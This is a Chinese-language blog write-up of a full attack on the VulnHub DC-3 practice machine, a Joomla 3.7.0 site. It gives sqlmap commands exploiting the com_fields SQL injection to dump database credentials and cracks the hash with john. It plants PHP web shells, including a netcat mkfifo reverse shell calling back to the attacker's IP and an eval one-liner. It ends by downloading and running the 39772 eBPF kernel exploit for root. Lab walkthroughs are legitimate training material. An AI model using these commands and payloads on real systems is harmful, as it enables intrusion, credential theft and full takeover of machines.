vulnhub DC-3 靶机渗透

准备:

环境:vmware15.5以上(我用的是16.0的)

攻击机:kali 2019以上(2021)

靶机:DC-3

靶机下载地址:https://www.vulnhub.com/entry/dc-3,312/

 

靶机ip:192.168.145.67

攻击机ip:  192.168.145.26

 

如果靶机启动有问题参考:https://www.cnblogs.com/chenk0/p/15550163.html

 

一、信息收集

1、老样子 先查看自己攻击的IP 来确定网段

ipconfig

 

2、扫描网段内的存活主机

arp-scan -l

 

访问一下看看

 

3、老样子 我们先扫描一下端口和服务

nmap -T4 -A -p- 192.168.145.67

 

分析

1、开了80端口   http服务  CMS是:joomla

信息很少 我们只能在 joomla 上找漏洞

 

4、敏感目录扫描

nikto -h 192.168.145.67

发现后台登入地址

http://192.168.145.67/administrator/

 

5、用 joomscan 扫描器扫一下 看看改版本有什么漏洞

joomscan --url http://192.168.213.67

扫到它用的是 Joomla 3.7.0 的版本 和后台登入地址(前面已经扫到了)

 

6、我们去searchsploit里看看有什么可利用的

searchsploit joomla 3.7.0

看来有点少 有一个SQL注入的一个漏洞

看看42033.txt里有啥

cd /

find -name "42033.txt"

cat usr/share/exploitdb/exploits/php/webapps/42033.txt

它提示用 sqlmap

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

注:localhost 填的是靶机的IP地址

 

7、尝试用sqlmap对目标进行脱裤   (注意不要有多余的空格 可能会影响命令  以下复制的的时候 加粗字体附近可能有多余的空格!!!)

1)爆库名

sqlmap -u "http://192.168.145.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

扫到5个数据库

[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

进joomladb 看看有啥表

2)爆表名

sqlmap -u "http://192.168.145.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  "joomladb" --tables -p list[fullordering]

爆出了 #__users 表      一般 users 放的是用户名和加密后的密码(或者是密码的hash值)

 

3)爆列名

sqlmap -u "http://192.168.145.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  joomladb -T “#__users”  --column -p list[fullordering]

果然 扫到了password 和 username 列

注:碰到这个 直接回车 确认就好了

 

4)爆字段

sqlmap -u "http://192.168.145.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T “#__users” -C "username,password" --dump -p list[fullordering]

 

8、在root文件夹下新建一个txt文件将password的字段复制进去

 

9、john暴力破解该hash值

john dc-3.txt

我这边的 --show 是因为我之前破解过一遍了 加这个参数是为了将结果输出出来

密码:snoopy

 

10、然后我们用密码去登入一下后台

admin

snoopy

 

看看有什么可以上传木马的地方   可以发现Extensions里有个Template

11、进去看看 [Extensions]—[Templates]—[Templates]

随便点击去一个看看

可以发现   源代码都在这

 

12、新建一个PHP文件   作为我们的木马

创建号以后   在左侧会出现刚刚创建好的shell.php

 

13、里面的内容写什么?我们有两种方法

方法一:

用kali自带的 weevely 生成

weevely generate 123456 webshell.php

生成一个名字为webshell的php文件  连接密码为123456

打开看一下

cat webshell.php 

 

然后我们将它复制到模板里的shell.php里  然后保存

 

 

然后我们来连接它

weevely http://192.168.145.67/templates/beez3/shell.php 123456

shell.php 的URL是可以推出来的 模板/模板名/shell.php

注:我这里是点的Beez3模板(第一个)

如果你点的是protostar(第二个)那shell.php的URL是  http://192.168.145.67/templates/protostar/shell.php

 

然后我们让他反弹一个shell

:shell_sh

 

方法二:

可以通过nc来反弹shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.145.26 4444 >/tmp/f');?> 

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f');?>  

 

开启nc   监听端口

nc -lvp 4444 

 

访问shell2.php

http://192.168.145.67/templates/beez3/shell2.php

 

访问后会自动反弹shell

 

方法三:

利用一句话木马+菜刀/蚁剑 反弹shell

<?php @eval($_POST['c']);?>

 

这里用蚁剑来做示范

 

打开蚁剑   右击添加数据

 

URL地址是木马的地址

连接密码是POST的参数

最后点击 测试连接  成功后 添加

 

 

 

可以通过虚拟终端

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.145.26 5555 >/tmp/f

 

还有和多种方法 这里就不多赘述了  后期为大家总结整理

注:第一种反弹的shell后期提权可能有点问题   建议提权使用第二三种 shell

 

提权

14、 查看一下内核版本

lsb_release -a

查看一下自己的命令行在哪并看一下可以执行哪些命令

貌似被屏蔽了

 

这里我们用内核提权

15、看一下该内核存在的漏洞

searchsploit Ubuntu 16.04

cd /

find -name "39772.txt"

cat usr/share/exploitdb/exploits/linux/local/39772.txt

拉倒最下面会提示你怎么用

 

在目标上下载39771.zip   利用大佬写好的脚本提权

方法一:

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

wget + 下载地址

这边 好像 被拒绝连接了  这边要挂vpn才能下载

这边为大家提供一下

链接:https://pan.baidu.com/s/1Um0l9zn_4xPmohBuajUHzg 
提取码:fibv 

 

方法二:

在kali上搭建服务器  然他到我自己kali上下

先把下好的文件已到kali里

 

用py搭建服务器

python -m SimpleHTTPServer

文件地址就是 http://kali的ip:8000/39772.zip

我这里是:http://192.168.145.26:8000/39772.zip

先在物理机实验一下能不能下

 

然后在目标上下载方法同一

wget http://192.168.145.26:8000/39772.zip

 

16、解压39772.zip

unzip 39772.zip

 

17、进入39772文件夹 解压 exploit.tar

ls

cd 39772

ls

tar -xvf exploit.tar

 

18、进入 ebpf_mapfd_doubleput_exploit 文件夹  预编译compile.sh

cd ebpf_mapfd_doubleput_exploit

ls

./compile.sh

 

19、完成后会有一个doubleput

ls

 

20、执行 doubleput 提权

./doubleput

 

flag在root目录底下

posted @ 2021-11-14 22:30  弹个shell?  阅读(341)  评论(0)    收藏  举报